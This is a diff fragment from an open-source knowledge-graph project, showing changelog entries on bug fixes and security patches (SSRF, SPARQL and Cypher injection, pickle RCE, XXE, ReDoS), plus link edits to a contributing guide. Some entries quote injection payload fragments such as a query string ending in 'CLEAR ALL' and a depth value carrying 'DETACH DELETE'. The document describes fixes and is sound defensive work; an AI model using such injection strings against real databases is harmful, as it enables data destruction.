- Normalized `search_points()` to return `"metadata"` instead of `"payload"`, matching the existing convention; no other module reads the old key, so the rename is a straight fix rather than a partial one
|
||||
- Extended `tests/vector_store/test_vector_store_deepdive.py::test_qdrant_store` to assert the returned key is `"metadata"` (not `"payload"`) and that `HybridSearch.filter_by_metadata()` correctly matches against Qdrant results end-to-end
|
||||
|
||||
- **Explorer Temporal panel never rendered after clicking the toolbar button** (#830, #836) by @Sameer6305
|
||||
- The panel stayed permanently stuck on "Loading temporal…" in `npm run dev`, with repeating "Maximum update depth exceeded" errors in the browser console. Two independent render loops were responsible:
|
||||
- **Diagnostics state churn**: `handleDiagnosticsChange` unconditionally called `setGraphDiagnosticsState` on every invocation. `buildEffectAvailability` (inside `GraphCanvas`'s diagnostics `useEffect`) always returns a new object, so each call scheduled a re-render that immediately retriggered the effect. Fixed by comparing the incoming snapshot field-by-field against the last accepted value via `lastDiagnosticsRef` before calling `setState`
|
||||
- **scrubberTime churn**: React 18 concurrent mode re-ran `TimelinePanel`'s `useEffect` with a structurally-new `Date` object for the same timestamp when speculative renders discarded `useMemo` caches, causing repeated `setScrubberTime` calls that propagated into `temporalState` churn and retriggered the diagnostics effect. Fixed by deduplicating by millisecond value via `onTimeChange`/`lastScrubberMsRef`
|
||||
- **Bonus**: `temporal-overlay`'s `shouldLoad` predicate was changed to gate strictly on `panelState["temporal-panel"]`, removing the `|| temporalState?.currentTime` branch that caused eager loading on every scrubber update and continuously cancelled in-flight `load()` completions
|
||||
- **Bonus**: `temporalState` removed from the plugin-loading `useEffect` dependency array; predicates extracted into `pluginRegistryPredicates.ts` and wired through `GraphWorkspace.tsx` so regression tests exercise the production code rather than a local copy
|
||||
- The `scrubberTime`-churn fix was also applied to the equivalent (but currently unused/unmounted) `GraphWorkspaceShell.tsx`, which shares the same `TimelinePanel` integration pattern but does not have the diagnostics-churn code path
|
||||
- **Follow-up review fix**: the diagnostics dedup's `structureLayer` comparison now also covers `disabledReason`, `curveCount`, `bridgeCurveCount`, and `backboneCurveCount` (previously only `cacheKey`/`lastDrawAt`/`enabled` were compared, so a pure `disabledReason` transition could leave the dev-only diagnostics panel stale)
|
||||
- **Follow-up review fix**: `test:graph-store`, `test:graph-workspace`, and the new `test:plugin-registry` regression test are now run in CI (`.github/workflows/ci.yml`) — previously none of the Explorer frontend's `node --test` suites executed anywhere in CI, only `npm run build`, so this fix's own regression coverage (and all prior frontend test coverage) provided no protection against silent regressions
|
||||
- **`HybridSearch.search()` crashed with `AttributeError` for any `VectorStore` backend other than `inmemory`** (#833, #837) by @KaifAhmad1
|
||||
- `HybridSearch.search()` read `self.vector_store.vectors` directly, an internal dict `VectorStore` only populates for `backend="inmemory"`; every other backend (faiss, weaviate, qdrant, milvus, pinecone, pgvector, sqlite) raised `AttributeError`, making `HybridSearch` unusable against any real store. It now delegates to `VectorStore.search_vectors()` (the backend-agnostic public API) for non-inmemory backends, applies `metadata_filter` as a post-filter over the returned candidates, and normalizes results to a consistent `{id, score, distance, metadata}` shape
|
||||
- **Fixed along the way**: `vector_ids` could stay `None` when callers passed explicit `vectors`/`metadata` without `vector_ids`, crashing downstream list indexing — now defaulted to generated positional IDs
|
||||
- **Fixed along the way**: a `query_vector` passed as a plain list crashed backend stores (e.g. `FAISSStore.search_similar`) that call `.ndim` on it — now normalized to a numpy array up front
|
||||
- **Fixed along the way**: `VectorStore.store_vectors()` silently dropped metadata for FAISS (and any `add_vectors`-only backend) because it called `add_vectors(vectors, **options)` without forwarding `metadata`, even though `FAISSStore.add_vectors()` accepts it — this blocked `HybridSearch`'s metadata filtering from ever matching anything on FAISS
|
||||
- **Follow-up review fixes**: the legacy `top_k` kwarg was read but left in `options`, then forwarded via `**options` into `VectorStore.search_vectors()`, colliding with backends (sqlite, pgvector) that pass an explicit `top_k=k` to their own `search()` and raising `TypeError: got multiple values for keyword argument 'top_k'` — now popped instead of just read; `VectorStore.search_vectors()`'s dispatch only recognized backend methods named `search`/`search_similar`, so delegation still hit `NotImplementedError` for qdrant/milvus/pinecone, which name their method `search_vectors()` with a differently-named count parameter (`limit` vs `k`) — added a third dispatch branch that binds the count positionally so it works regardless of the backend's parameter name; a missing `distance` in backend-delegated results defaulted to the raw `score`, silently reusing the local path's cosine-similarity convention (`distance = 1 - score`) even for backends using unrelated metrics (L2, inner product) — now left as `None` instead of a fabricated, metric-inconsistent value
|
||||
- Verified across all 7 supported backends: `inmemory`/`faiss`/`sqlite` work live end-to-end; `pgvector`'s dispatch reaches `PgVectorStore.add()`/`.search()` (blocked only by no Postgres server in the verification sandbox); `qdrant`/`milvus`/`pinecone` now reach their real `search_vectors()` method instead of crashing, though their storage side (`store_vectors()`) still doesn't recognize `insert_vectors`/`upsert_vectors`, and `weaviate` remains entirely unwired (`add_objects`/`query_vectors`) on both sides — both are separate, pre-existing gaps independent of this fix, left for a follow-up
|
||||
|
||||
- **`VectorStore.store_vectors()` silently dropped metadata for FAISS (and any `add_vectors`-only) backend** (#832, #835) by @KaifAhmad1
|
||||
- `store_vectors()` fell into a branch that called `self._backend_store.add_vectors(vectors, **options)` without `metadata` whenever the backend exposed `add_vectors()` but neither `add()` nor `store_vectors()` — true for `FAISSStore`, the backend most real usage configures for genuine ANN search. Every caller that stores vectors with metadata (e.g. `AgentMemory._store_memory_vector()`, used internally by `AgentContext.store()`) lost that metadata once it reached FAISS, with no error or warning
|
||||
- Downstream, `ContextRetriever._retrieve_from_vector()` recovers a result's text via `metadata.get("content", "")`, which was always `""` for any vector stored this way; `_rank_and_merge()` then embedded that empty string, tripping `TextEmbedder.embed_text()`'s empty-text rejection and masking the real bug as a spurious `TextEmbedder` failure recorded by the progress tracker
|
||||
- `store_vectors()` now forwards `metadata` to `add_vectors()`, but only when the backend's `add_vectors()` signature actually accepts it (checked via `inspect.signature`, accepting either an explicit `metadata` parameter or a `**kwargs` catch-all), so a future/custom backend with a stricter signature raises no `TypeError`
|
||||
- **Follow-up review fix**: the `inspect.signature()` probe is wrapped in `try/except (ValueError, TypeError)`, consistent with the identical pattern already used in `ProvenanceManager.trace_lineage()`, so signature introspection failing on an unusual callable can no longer abort `store_vectors()` before it even attempts to call the backend
|
||||
|
||||
- **`AgnoDecisionKit.check_policy` silently treated unevaluable policy rules as compliant** (#778, #822) by @Sameer6305
|
||||
- `_eval_rule()` previously `return`ed `True` when a rule referenced a field missing from the decision payload, or when the rule string didn't match the expected `<field> <op> <value>` format — the docstring's claim that exceptions never silently return `compliant=True` didn't cover this, since neither path raised
|
||||
- Both cases now raise `ValueError` instead, which routes through `check_policy`'s existing exception handler and records a `warnings` entry (e.g. `"Could not evaluate rule 'minimum_score >= 0.9': rule references undefined field 'minimum_score'"`) instead of disappearing with no signal
|
||||
@@ -444,57 +193,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
||||
|
||||
### Security
|
||||
|
||||
- **DNS check-then-use hardening for the ontology URL fetcher, and a remaining object-IRI validation gap** (#916, follow-up to GHSA-8c7v-62gr-hj6g and GHSA-8vgg-8mr4-r236) by @KaifAhmad1
|
||||
- **DNS check-then-use (TOCTOU) window**: GHSA-8c7v-62gr-hj6g's own fix description flagged this as a secondary gap — `_validate_fetch_url()` resolved and validated a hostname once, but `_fetch_url_sync()` then let `requests` resolve the same hostname again independently at connect time. A low-TTL or rebinding DNS answer could differ between the two lookups, reopening the SSRF window the validation exists to close
|
||||
- `_validate_fetch_url()` now returns the validated IP, and a new `_make_pinned_session()` builds a per-hop `requests.Session` whose connection pool is pinned directly to that IP — bypassing DNS resolution for the connection entirely — while explicitly restoring the real hostname as the outgoing HTTP `Host` header and, for HTTPS, the TLS SNI `server_hostname`/`assert_hostname`, so the connection reaches the validated IP but still presents (and is verified against) the real hostname's identity, keeping virtual hosting and certificate validation correct
|
||||
- Caught during implementation: an earlier draft set urllib3's `_dns_host` post-construction, assuming (as in some urllib3 releases) that it was decoupled from `host`. In the version this project installs (2.7.0), `host` is a property that reads/writes `_dns_host` directly, so that approach would have silently changed the Host header too — caught by an end-to-end test against a real local server before landing, rather than shipping. Verified with real (non-mocked) local HTTP and HTTPS servers, the latter using a generated self-signed certificate to prove SNI/cert-hostname verification checks the real hostname rather than the pinned IP, plus a negative control confirming a hostname/cert mismatch is still correctly rejected, not silently bypassed
|
||||
- **Object-IRI validation gap** (GHSA-8vgg-8mr4-r236 follow-up, distinct from the object-branch fix already shipped in #911): a triplet object already wrapped in `<...>` skipped `sparql_escaping.validate_uri()` in both `blazegraph_store.py` and `rdf4j_store.py`'s `_format_object_for_sparql`/`_format_object_for_ntriples`, only checking the inner content for a literal space or `>` — the pre-wrapped and unwrapped branches now validate identically
|
||||
- **Fixed along the way** (caught in automated review across two follow-up rounds): `_validate_fetch_url()` originally pinned to only the first resolved IP, so a hostname with multiple A/AAAA records would fail outright if that specific address was unreachable — it now returns every validated IP and `_make_pinned_session()` falls back through all of them, verified by pinning to a genuinely unreachable address followed by a working one and confirming the fetch still succeeds; the test HTTPS server allowed TLSv1/TLSv1.1 by not setting a minimum version, now pinned to TLSv1.2; and when an HTTP(S) proxy applied, pinning was silently skipped in favor of the unpinned path — proxies are now disabled outright for this fetcher (`session.trust_env = False`, so `HTTP_PROXY`/`HTTPS_PROXY` env vars are never consulted) with a fail-closed 502 backstop if a proxy is ever forced onto the session some other way, verified by pointing `HTTP_PROXY` at an address that would fail if actually used and confirming the fetch still succeeds directly
|
||||
- New `tests/explorer/test_ontology_dns_pinning.py` (12 tests: real local HTTP/HTTPS servers including 2 real-TLS checks, multi-IP fallback success/failure, and no-proxy-trust verification — gracefully skipped without the optional `cryptography` package where applicable); updated `tests/explorer/test_ontology_ssrf.py` for the new per-hop session construction; 4 new tests in `tests/triplet_store/test_sparql_injection.py` for the object-IRI fix. Full `explorer` + `triplet_store` suite: 572 passed
|
||||
|
||||
- **Missing Origin validation on the `/ws/graph-updates` WebSocket handshake** (#917, GHSA-4643-wpgq-w329) by @KaifAhmad1
|
||||
- `CORSMiddleware` doesn't cover WebSocket handshakes at all (Starlette's CORS support only wraps HTTP), so under `SEMANTICA_ALLOW_ANONYMOUS=true` — the mode `docker-compose.dev.yml` ships — the anonymous-mode key bypass accepted a `/ws/graph-updates` connection from any origin. Loopback binding isn't a boundary against a browser: any page the operator has open can still reach `ws://localhost:8000/ws/graph-updates` directly, and `ConnectionManager.broadcast` sends every `graph_mutation` to every connected socket with no per-connection scoping. Combined with `/api/import` accepting `multipart/form-data` (a CORS-safelisted content type that skips preflight), a hostile page could write to the graph over REST and read the result back over the unauthenticated WebSocket
|
||||
- Not affected: any deployment with `SEMANTICA_API_KEY` configured — the handshake already rejects without a valid key in that mode. This was an anonymous-mode-only, development-configuration exposure
|
||||
- Fix: check the handshake's `Origin` header against `app.state.explorer_settings['allowed_origins']` — the same list `CORSMiddleware` already enforces for HTTP — before the key check. A missing `Origin` (native/CLI clients, which never set the header) is still allowed through, since the browser is the only threat this closes
|
||||
- 4 new tests in `tests/explorer/test_explorer_auth.py`: hostile Origin rejected under anonymous mode; hostile Origin rejected even with a correct key (Origin is checked first, so a leaked key alone can't hijack the socket); an allowlisted Origin still connects; a missing Origin still connects. Full `explorer` suite: 226 passed
|
||||
|
||||
- **Polynomial-time ReDoS in the SPARQL route's `_PREFIX_DECL` regex** (#915, CodeQL `py/polynomial-redos`) by @Sameer6305
|
||||
- The prior pattern's trailing `\s*` overlapped with the preceding `<[^>]*>` IRI-body match on inputs containing no closing `>` (e.g. `base<` followed by thousands of `!<` repetitions), forcing the regex engine to explore every possible split between the two quantifiers — O(n²) backtracking reachable from `req.query` via `_is_read_only_query()`
|
||||
- Fixed by making the two quantifiers character-disjoint: horizontal whitespace only (`[ \t]`, never overlapping the IRI body) instead of `\s*`, and excluding CR/LF from the IRI body (`[^>\r\n]*`) so it can never span a line boundary. Independently verified: the exact pathological payload (`base<` + `!<` × 5,000/20,000) scales linearly (0.238ms → 0.841ms for 4x input, not the ~16x a surviving quadratic blowup would show)
|
||||
- Added `_SPARQL_MAX_QUERY_LEN = 10_000` as defense-in-depth, checked in `execute_sparql()` before any regex work so a future pattern regression stays bounded regardless
|
||||
- Two correctness regressions raised in review were checked and did not reproduce: comment-then-prefix stripping order means an inline comment after a `PREFIX` line (`PREFIX ex: <...> # comment`) is already gone by the time `_PREFIX_DECL` runs, verified directly against the pipeline; and the allowlist's `.sub()`-based cleaning only ever affects the yes/no decision, never the query actually sent to `graph.query()` — so even the narrow case of a multi-line string literal that happens to start a line with the literal text `PREFIX` or `BASE` can only cause a legitimate query to be wrongly rejected, never let something malicious through, since rdflib's parser still gates whatever actually executes
|
||||
- 20 new/updated tests in `tests/explorer/test_sparql_route.py` and `tests/test_security_regression.py` (inline prologues, CRLF line endings, multi-line CRLF prefix chains, oversized-query rejection). 225 `explorer` + 82 SPARQL-specific tests passing
|
||||
|
||||
- **SPARQL injection via unvalidated triplet IRIs** (#911, GHSA-8vgg-8mr4-r236) by @KaifAhmad1
|
||||
- `Triplet.subject`/`.predicate` (and, in some builders, `.object`) were interpolated directly into SPARQL update/query strings in the Blazegraph and RDF4J stores, and into a SELECT filter in the Jena store. A subject containing `>` closes the `<...>` IRI token early, so the rest of the value is parsed as more SPARQL. Entity names are document text in the normal ingest pipeline, so anyone whose content gets processed could append operations like `CLEAR ALL`, running with the application's store credentials
|
||||
- Applied the existing `sparql_escaping.validate_uri` (already used by `anzo_store.py`, the one backend that was already hardened — this generalizes its approach rather than inventing a new one) at every subject/predicate/object interpolation site: `blazegraph_store.py`'s `_build_insert_data`, `_triplets_to_rdf`, `bulk_load`'s `graph` option, `get_triplets`'s filter, and `delete_triplet`; `rdf4j_store.py`'s `_triplets_to_ntriples`, `get_triplets`'s filter, and `delete_triplet`; `jena_store.py`'s `get_triplets`'s filter (the only vulnerable site there — `add_triplets`/`delete_triplet` already use rdflib's native `Graph.add`/`.remove` with `URIRef` rather than building query strings)
|
||||
- **Fixed along the way** (caught in review, by @ZohaibHassan16): `_format_object_for_sparql`'s URI branch — used when a triplet's *object* is itself a URI rather than a literal — only checked for spaces and `>` inline instead of running the same `validate_uri` check applied to subject/predicate, leaving the object position as a narrower but real gap in both Blazegraph and RDF4J. Also fixed test flakiness in `RDF4JStore`'s test fixtures, which weren't mocking `_connect()` and so were making real network calls
|
||||
- New `tests/triplet_store/test_sparql_injection.py` (12+ tests) reproducing the advisory's own injection payload (`http://example.com/a> ... ; CLEAR ALL ; INSERT DATA { ...`) against all three backends' write and read paths, asserting the malicious query is never built or sent. Full triplet_store suite: 330+ tests passing
|
||||
- Side note, not part of this fix: found that `jena_store.py`'s `get_triplets()` builds syntactically invalid SPARQL for its WHERE-clause filters (missing a `FILTER()`/separator before the equality conditions) — a pre-existing correctness bug, unrelated to the injection fix, left alone here and worth a separate follow-up
|
||||
|
||||
- **Cypher injection via unvalidated node labels, relationship types, and property keys** (#910, GHSA-482h-hw99-h62p) by @KaifAhmad1
|
||||
- Node labels and property keys passed to `create_node`/`create_relationship` were interpolated directly into Cypher strings in the Neptune, Neo4j, and FalkorDB graph stores. Property *values* are parameterized, but labels and keys can't be bound as query parameters, and nothing validated them — so a document-derived entity type or property name (the normal ingest path) could close the current Cypher token early and append arbitrary statements (e.g. `DETACH DELETE`), running with the application's database credentials
|
||||
- New shared `semantica/graph_store/query_sanitize.py`: `sanitize_identifier()` generalizes `age_store.py`'s existing `_sanitize_label`/`_sanitize_rel_type` (the only backend that already validated this) into a helper the other backends import without an import cycle with `graph_store.py`/`methods.py`
|
||||
- Applied at every label/relationship-type/property-key interpolation site in `amazon_neptune.py`, `neo4j_store.py`, `falkordb_store.py`, `graph_store.py` (`degree_centrality`'s own query builder), and `methods.py` (`update_relationship`'s own query builder) — covers `create_node`, `create_nodes`, `create_relationship`, `get_nodes`, `get_relationships`, `get_neighbors`, `shortest_path`, `update_node`, `create_index`, and all relationship-type filters across the three backends
|
||||
- **Fixed along the way** (caught in review, by @Sameer6305): `depth`/`max_depth` path-length parameters are meant to be integers, but `Neo4jStore.get_neighbors()`/`shortest_path()` interpolated them into the Cypher variable-length-path syntax (`*1..{depth}`) without coercion — unlike the Neptune/FalkorDB equivalents, which already cast to `int()`. A string `depth` (e.g. `"1]->(x) DETACH DELETE x //"`) reached the query verbatim. Added the same `int()` coercion Neptune/FalkorDB already had, plus `GraphStore.get_neighbors()`'s `hops`/`depth` alias resolution
|
||||
- New `tests/graph_store/test_cypher_injection.py` (unit tests on `sanitize_identifier` plus the labels/keys/rel-types injection payload run against Neptune/Neo4j/FalkorDB `create_node`/`create_relationship`, asserting the malicious query is never built or sent) and the depth-coercion regression above; plus additions to `tests/test_graph_store.py` (`degree_centrality`) and `tests/test_graph_store_methods.py` (`update_relationship`). Full graph_store suite: 224+ tests passing
|
||||
|
||||
- **4 critical/high vulnerabilities in the Explorer API and vector store: RCE, SSRF, XXE, and DoS, plus Cypher/SPARQL injection hardening found along the way** (#898) by @Sunil56224972
|
||||
- **[CWE-502] Arbitrary code execution via `pickle.load()`**: `VectorStore.save()`/`load()` used `pickle` for the on-disk `store_data.pkl`; a crafted `.pkl` file placed in the store directory (file upload, shared filesystem, or supply-chain compromise) could execute arbitrary code on deserialization. Replaced with JSON — vectors and metadata are fully JSON-serializable, so nothing is lost — and `load()` now refuses any legacy `.pkl` file it finds with a migration error rather than deserializing it
|
||||
- **[CWE-918] SSRF via redirect bypass in `ontology.py`'s URL fetcher**: `_validate_fetch_url()` correctly blocked private/loopback/reserved addresses on the caller-supplied URL, but `_fetch_url_sync()` fetched with `allow_redirects=True`, so a validated *public* first hop could 302 to `http://169.254.169.254/...` (cloud instance metadata) or an internal service, and `requests` followed it with no re-check. Redirects are now followed manually, capped at 5 hops, with `_validate_fetch_url()` re-run against every hop's target — including relative `Location` headers, resolved via `urljoin()` before validation — and every response (redirect or final) is explicitly closed to avoid leaking connections back to the pool
|
||||
- **[CWE-611] XXE injection in the RDF/XML parser**: `_safe_parse_rdf()` depended on `defusedxml` for XXE protection, but `defusedxml` wasn't declared in `pyproject.toml`'s `explorer` extra, so it was silently absent in normal installs and the code fell back to a bare warning plus unsafe parsing — a crafted RDF/XML ontology with an external entity could read arbitrary server files. Added `defusedxml>=0.7.1` to the extra, and `_safe_parse_rdf()` now fails closed: it raises rather than parsing untrusted RDF/XML if `defusedxml` isn't importable, replacing an earlier regex-based DOCTYPE-stripping fallback that was reviewed and rejected as bypassable
|
||||
- **[CWE-770] DoS via unbounded SPARQL graph materialization**: `_build_rdflib_graph()` loaded up to 999,999 nodes and 999,999 edges into memory per query, and with up to 4 concurrent SPARQL requests permitted, an attacker could exhaust server memory. Added a 50,000 node/edge cap (`_SPARQL_MAX_GRAPH_NODES`); oversized graphs now return a clean error instead of attempting materialization
|
||||
- **Cypher injection via Apache AGE's `graph_name` and `$$`-delimiter breakout**: `graph_name` was interpolated unvalidated into `cypher('{graph_name}', $$ ... $$)`, and raw Cypher query text containing `$$` could close AGE's dollar-quoted string delimiter early and append arbitrary SQL. `graph_name` is now validated against the same identifier allowlist `age_store.py` already used for labels/relationship types, and any query containing `$$` is rejected outright
|
||||
- **SPARQL Explorer route (`/api/sparql`) hardened against comment/PREFIX-hiding bypass**: `_is_read_only_query()` now strips comments and PREFIX/BASE declarations before checking the leading keyword, and additionally scans the full query body for SPARQL Update keywords (INSERT/DELETE/DROP/LOAD/CLEAR/CREATE/COPY/MOVE/ADD) — so `SELECT ... ; DROP ALL` is now rejected by the keyword scan itself rather than relying solely on rdflib's parser
|
||||
- **Fixed along the way** (maintainer follow-up, addressing automated review findings and a regression introduced across several rounds of iteration on the original fix):
|
||||
- `VectorStore.save()`'s numpy handling used `list(v)` for the JSON fallback path, which produces `numpy.float32` elements that `json.dump()` can't serialize — changed to `v.tolist()`
|
||||
- the SPARQL graph-size `ValueError` was raised outside `execute_sparql()`'s exception handling and surfaced as an unhandled 500 instead of a clean API error — moved inside
|
||||
- every streamed `requests` response in the ontology redirect loop, including the one actually read and returned, is now closed in a `finally` block — a connection-pool leak that a rework of the redirect logic had briefly reintroduced after an earlier fix
|
||||
- a later commit meant to add opt-in API-key auth (`explorer/auth.py`, gated on `EXPLORER_API_KEY`) instead **replaced and silently disabled** the `Depends(require_auth)` enforcement already merged into `main` for GHSA-j4mq-hprp-987v (Critical — unauthenticated Explorer API), removed the `/ws/graph-updates` handshake check, and — unlike `require_auth` — failed *open* (allowed all requests) whenever its key was unset. Merging that version would have silently reverted an already-fixed Critical CVE the moment this branch landed. Removed `explorer/auth.py`; restored the per-router `Depends(require_auth)` wiring and the WebSocket auth check; kept the one genuine improvement in that commit (adding `X-API-Key` to the CORS `allow_headers` list) by folding it into the existing CORS config
|
||||
- the new SPARQL keyword-scan's comment-stripping regex (`#[^\n]*`) also matched the `#` inside standard RDF namespace IRIs (e.g. `.../1999/02/22-rdf-syntax-ns#`), corrupting any query with a normal `rdf:`/`rdfs:`-style `PREFIX` declaration — caught because the hardening's own bundled tests failed against two of its own cases. Fixed by only treating `#` as a comment-start at line-start or after whitespace; the companion `PREFIX`/`BASE` regex was also fixed to accept bare `BASE <...>` declarations, which have no prefix-name token between the keyword and the IRI
|
||||
- New/updated regression tests: `tests/explorer/test_ontology_ssrf.py` (redirect re-validation, relative-redirect resolution, response closing, redirect-cap enforcement), `tests/test_security_regression.py` (Cypher/SPARQL injection, XXE, numpy serialization, SSRF redirect handling), plus additions to `tests/explorer/test_sparql_route.py`, `tests/vector_store/test_vector_store.py`, and `tests/explorer/test_explorer_auth.py`
|
||||
- Note: the Cypher-injection hardening here is scoped to `age_store.py`'s `graph_name`/`$$` breakout, found while reviewing this PR. The broader label/property-key/relationship-type injection across the Neptune, Neo4j, and FalkorDB backends (GHSA-482h-hw99-h62p, #910) and the triplet-store SPARQL injection across Blazegraph/RDF4J/Jena (GHSA-8vgg-8mr4-r236, #911) are covered by separate, still-open PRs, as is the unauthenticated-Explorer-API fix referenced above (GHSA-j4mq-hprp-987v, #909, already merged)
|
||||
|
||||
- **CI/CD supply-chain hardening against mutable-tag Action compromise (LiteLLM/Trivy-class attack)** (#824) by @KaifAhmad1
|
||||
- Every third-party GitHub Action across all 8 workflows is now pinned to a full commit SHA instead of a mutable tag (`@v7` → `@3d3c42e... # v7`), closing the exact vector used against LiteLLM in March 2026 (a compromised Trivy Action tag stole a long-lived publishing token)
|
||||
- Added `verify-action-pins.yml` + `.github/scripts/verify-action-pins.sh`: a CI check that fails closed on any `uses:` reference that isn't a full SHA (catching a newly introduced mutable tag, not just auditing existing pins) and re-verifies every pin against the GitHub API on each workflow change, on push to `main`, and weekly; an unresolvable API lookup is treated as a failure rather than a silent skip
|
||||
|
||||
+13
-84
@@ -2,58 +2,20 @@
|
||||
|
||||
Thank you for your interest in contributing! Every contribution, no matter how small, is valuable. 🎉
|
||||
|
||||
⭐ **Give us a Star** • 🍴 **[Fork Semantica](https://github.com/semantica-agi/semantica/fork)** • 💬 **Join our [Discord](https://discord.gg/sV34vps5hH)**
|
||||
⭐ **Give us a Star** • 🍴 **[Fork Semantica](https://github.com/Hawksight-AI/semantica/fork)** • 💬 **Join our [Discord](https://discord.gg/sV34vps5hH)**
|
||||
|
||||
> **New to contributing?** Start with a [`good first issue`](https://github.com/semantica-agi/semantica/labels/good%20first%20issue) or join our [Discord](https://discord.gg/sV34vps5hH) community.
|
||||
> **New to contributing?** Start with a [`good first issue`](https://github.com/Hawksight-AI/semantica/labels/good%20first%20issue) or join our [Discord](https://discord.gg/sV34vps5hH) community.
|
||||
|
||||
---
|
||||
|
||||
## 🚀 Quick Start
|
||||
|
||||
1. Find a [`good first issue`](https://github.com/semantica-agi/semantica/labels/good%20first%20issue)
|
||||
2. [Fork Semantica](https://github.com/semantica-agi/semantica/fork) & clone the repository
|
||||
1. Find a [`good first issue`](https://github.com/Hawksight-AI/semantica/labels/good%20first%20issue)
|
||||
2. [Fork Semantica](https://github.com/Hawksight-AI/semantica/fork) & clone the repository
|
||||
3. Make your changes
|
||||
4. Submit a pull request!
|
||||
|
||||
**Need help?** Join [Discord](https://discord.gg/sV34vps5hH) or [GitHub Discussions](https://github.com/semantica-agi/semantica/discussions)
|
||||
|
||||
---
|
||||
|
||||
## 🗂️ Working on an Existing Issue
|
||||
|
||||
If you want to work on an open GitHub issue, please follow these steps to keep things coordinated and avoid duplicate effort:
|
||||
|
||||
1. **Check the issue.** Look at the issue's assignees and recent comments. If someone is already actively working on it, consider a different issue or ask in the comments whether help is welcome.
|
||||
|
||||
2. **Comment if you'd like the issue reserved.** Leaving a comment like *"I'd like to take this on"* is the fastest way to get assigned, but it isn't required — maintainers can also assign an issue directly to a contributor (e.g., based on recent activity in the repo) without waiting for a comment first.
|
||||
|
||||
3. **Wait for assignment.** A maintainer will assign the issue when appropriate, whether or not a comment was left. Please wait for this before investing significant time in implementation, as priorities and approaches can shift.
|
||||
|
||||
4. **Create a branch and implement.** Once assigned, fork the repository (if you haven't already), create a dedicated branch, and begin your work.
|
||||
|
||||
```bash
|
||||
git checkout -b fix/short-description # or feature/short-description
|
||||
```
|
||||
|
||||
5. **Open a focused PR and link the issue.** When you're ready, open a pull request and reference the issue in the description (e.g., `Closes #123`). Keep the PR scoped to the work described in the issue.
|
||||
|
||||
> **Why this matters:** Assignment (with or without a comment) helps maintainers track who is working on what and prevent two contributors from solving the same problem independently. It also gives you a chance to align on the expected approach before writing code.
|
||||
|
||||
Not sure where to start? Try a [`good first issue`](https://github.com/semantica-agi/semantica/labels/good%20first%20issue) or ask in [Discord](https://discord.gg/sV34vps5hH).
|
||||
|
||||
---
|
||||
|
||||
## 🔀 Duplicate PRs & Issue Priority
|
||||
|
||||
When more than one pull request targets the same issue, maintainers triage using this order of priority. These rules decide between PRs that are otherwise following the [assignment workflow above](#-working-on-an-existing-issue) — opening a PR before being assigned doesn't grant priority on its own, and an unassigned PR can still be closed as a duplicate once someone else is assigned to the issue.
|
||||
|
||||
1. **Contributor-raised issue with an existing PR.** If the person who opened the issue has also opened a PR for it, that PR is prioritized (they still need to be assigned before it's merged).
|
||||
2. **Maintainer-raised issue with a claim comment.** If we opened the issue and someone has commented asking to work on it, we assign it to them and check their PR before picking up any other PR for the same issue.
|
||||
3. **No prior assignment or comment.** If multiple PRs exist and no one was assigned or claimed the issue first, priority goes to whichever contributor has the most consistent activity in the repo over the last 60 days (e.g., merged PRs, substantive reviews, or issue triage participation) — not just PR volume.
|
||||
4. **Late duplicate PRs.** If a PR is opened after another contributor has already been assigned to the issue, we close the duplicate early rather than let it sit open, and point the author to another open issue (or ask them to check `main` for newly opened ones). This avoids contributors spending time updating a PR that won't be merged.
|
||||
5. **Overlapping scope.** If a PR covers multiple issues, or there's genuine overlap between competing PRs, maintainers discuss it on [Discord](https://discord.gg/sV34vps5hH) before deciding rather than resolving it unilaterally.
|
||||
|
||||
**Why this matters:** it keeps triage predictable, avoids wasted contributor effort on PRs that won't merge, and helps retain active contributors.
|
||||
**Need help?** Join [Discord](https://discord.gg/sV34vps5hH) or [GitHub Discussions](https://github.com/Hawksight-AI/semantica/discussions)
|
||||
|
||||
---
|
||||
|
||||
@@ -116,7 +78,7 @@ When more than one pull request targets the same issue, maintainers triage using
|
||||
|
||||
**What:** Report bugs you find
|
||||
|
||||
**How:** Use the [bug report template](https://github.com/semantica-agi/semantica/issues/new?template=bug_report.md)
|
||||
**How:** Use the [bug report template](https://github.com/Hawksight-AI/semantica/issues/new?template=bug_report.md)
|
||||
|
||||
**Include:** Description, steps to reproduce, expected vs actual behavior, environment details
|
||||
|
||||
@@ -126,7 +88,7 @@ When more than one pull request targets the same issue, maintainers triage using
|
||||
|
||||
**What:** Suggest new features or improvements
|
||||
|
||||
**How:** Use the [feature request template](https://github.com/semantica-agi/semantica/issues/new?template=feature_request.md)
|
||||
**How:** Use the [feature request template](https://github.com/Hawksight-AI/semantica/issues/new?template=feature_request.md)
|
||||
|
||||
**Include:** Problem statement, proposed solution, use cases
|
||||
|
||||
@@ -146,7 +108,7 @@ When more than one pull request targets the same issue, maintainers triage using
|
||||
|
||||
**What:** Help others in the community
|
||||
|
||||
**Where:** [Discord](https://discord.gg/sV34vps5hH), [GitHub Discussions](https://github.com/semantica-agi/semantica/discussions)
|
||||
**Where:** [Discord](https://discord.gg/sV34vps5hH), [GitHub Discussions](https://github.com/Hawksight-AI/semantica/discussions)
|
||||
|
||||
**Examples:** Answer questions, review PRs, share your projects
|
||||
|
||||
@@ -173,12 +135,12 @@ When more than one pull request targets the same issue, maintainers triage using
|
||||
|
||||
### 1. Fork & Clone
|
||||
|
||||
First, [fork Semantica](https://github.com/semantica-agi/semantica/fork) on GitHub, then:
|
||||
First, [fork Semantica](https://github.com/Hawksight-AI/semantica/fork) on GitHub, then:
|
||||
|
||||
```bash
|
||||
git clone https://github.com/your-username/semantica.git
|
||||
cd semantica
|
||||
git remote add upstream https://github.com/semantica-agi/semantica.git
|
||||
git remote add upstream https://github.com/Hawksight-AI/semantica.git
|
||||
```
|
||||
|
||||
### 2. Set Up Environment
|
||||
@@ -195,39 +157,6 @@ pip install -e ".[dev]"
|
||||
pre-commit install
|
||||
```
|
||||
|
||||
### Pinned CI dependencies
|
||||
|
||||
`requirements-ci.txt` pins every transitive dependency at exact versions so CI,
|
||||
security scans, and release builds install the same packages every run (the
|
||||
Python equivalent of `explorer/package-lock.json` + `npm ci`). It is a
|
||||
**separate build environment**: every package carries a SHA-256 hash
|
||||
(`--generate-hashes`), so installs are reproducible and supply-chain safe —
|
||||
never install into your local dev environment from it.
|
||||
|
||||
Regenerate it after changing `pyproject.toml` dependencies:
|
||||
|
||||
```bash
|
||||
pip install uv==0.12.1
|
||||
